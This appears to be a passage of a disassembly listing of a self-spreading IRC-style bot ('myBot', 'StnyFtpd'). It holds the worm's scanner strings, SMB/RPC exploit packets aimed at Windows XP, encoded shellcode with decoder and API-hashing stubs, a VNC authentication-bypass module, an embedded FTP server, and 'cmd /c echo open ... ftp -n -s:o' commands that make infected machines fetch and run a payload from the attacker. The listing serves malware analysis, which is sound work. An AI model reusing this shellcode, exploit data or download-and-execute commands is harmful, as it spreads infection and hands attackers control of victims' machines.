		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431900	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_43191C	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_431950	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_431988	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_4319B8	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4319EC	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_431A20	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A54	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431A7C	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AB4	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431AF4	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B2C	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B60	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431B94	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 4
dword_431C48	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C50	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C54	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C5C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431CE4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D14	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D20	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D6C	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431DB0	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431EAC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EC2
		mov	[esi+8], eax
		call	sub_431E75
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EC2
		mov	[esi+0Ch], eax
		call	sub_431E27
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EC2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E27	proc near		; CODE XREF: sub_431DB0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E50
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E27	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E50	proc near		; CODE XREF: sub_431E27+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_431E5F:				; CODE XREF: sub_431E50+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E6C
		inc	ebx
		jmp	short loc_431E5F
; ---------------------------------------------------------------------------

loc_431E6C:				; CODE XREF: sub_431E50+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E50	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E75	proc near		; CODE XREF: sub_431DB0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_431E8D:				; CODE XREF: sub_431E75+1Ej
		cmp	[ecx], ebx
		jz	short loc_431E95
		mov	ecx, [ecx]
		jmp	short loc_431E8D
; ---------------------------------------------------------------------------

loc_431E95:				; CODE XREF: sub_431E75+1Aj
		mov	edx, edi

loc_431E97:				; CODE XREF: sub_431E75+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431EA1
		mov	edx, [edx+4]
		jmp	short loc_431E97
; ---------------------------------------------------------------------------

loc_431EA1:				; CODE XREF: sub_431E75+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431E75	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EAC	proc near		; CODE XREF: sub_431DB0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431EAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EC2	proc near		; CODE XREF: sub_431DB0+16p
					; sub_431DB0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_431ED8:				; CODE XREF: sub_431EC2+33j
		jecxz	short loc_431F12
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_431EE5:				; CODE XREF: sub_431EC2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431EF1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431EE5
; ---------------------------------------------------------------------------

loc_431EF1:				; CODE XREF: sub_431EC2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431ED8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_431F12:				; CODE XREF: sub_431EC2:loc_431ED8j
					; sub_431EC2:loc_431F12j
		jmp	short loc_431F12
sub_431EC2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_431F18	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F6A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_431F35:				; CODE XREF: sub_431F18+38j
		jecxz	short loc_431F65
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_431F40:				; CODE XREF: sub_431F18+32j
		lodsb
		test	al, al
		jz	short loc_431F4C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F40
; ---------------------------------------------------------------------------

loc_431F4C:				; CODE XREF: sub_431F18+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F35
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_431F65:				; CODE XREF: sub_431F18:loc_431F35j
		mov	[esp+arg_0], ebx
		retn
sub_431F18	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F6A	proc near		; CODE XREF: sub_431F18+7p

; FUNCTION CHUNK AT 00431FA2 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431F83
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431F8E
; ---------------------------------------------------------------------------

loc_431F83:				; CODE XREF: sub_431F6A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_431F8E:				; CODE XREF: sub_431F6A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431FA2
sub_431F6A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431F95	proc near		; CODE XREF: sub_431F6A:loc_431FA2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431F95	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F6A

loc_431FA2:				; CODE XREF: sub_431F6A+29j
		call	sub_431F95

loc_431FA7:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F6A
; ---------------------------------------------------------------------------
		dw 0
dword_431FAC	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FB8	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FBC	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FC0	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4

loc_431FCC:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_431FD4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_431FD4	dd 0			; CODE XREF: ___:loc_431FCCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432040	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------

loc_43204C:				; CODE XREF: ___:00432056j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43204C
		inc	edi
		jz	short loc_432093
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320BB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_432093:				; CODE XREF: ___:00432059j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4320F2+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_4320B8:				; CODE XREF: ___:004320E5j
		xor	[esi-25h], bl

loc_4320BB:				; CODE XREF: ___:00432061j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_4320D4:				; CODE XREF: ___:00432107j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320B8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_4320F2:				; CODE XREF: ___:00432099j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_43217E
		jo	short loc_4320D4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_432115+1
		add	bl, [edi]

loc_432115:				; CODE XREF: ___:00432111j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_43212A+2
		cmp	ch, bh
		dec	edx

loc_43212A:				; CODE XREF: ___:00432125j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_43217E:				; CODE XREF: ___:00432105j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_432204
		sub	al, 0BCh
		jmp	near ptr 54452572h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_4321A0	dd 0EFFFC481h, 44FFFFh,	4321ECh	; DATA XREF: ___:0040DC32o
dword_4321AC	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321B0	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321B4	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321B8	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4321D0	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321BCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_432204:				; CODE XREF: ___:00432188j
		push	eax
		xor	al, 29h

loc_432207:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_432210	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_432224	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322CC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 10h
word_433510	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_433514	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437C78o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437C84o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4337FC	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433824	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
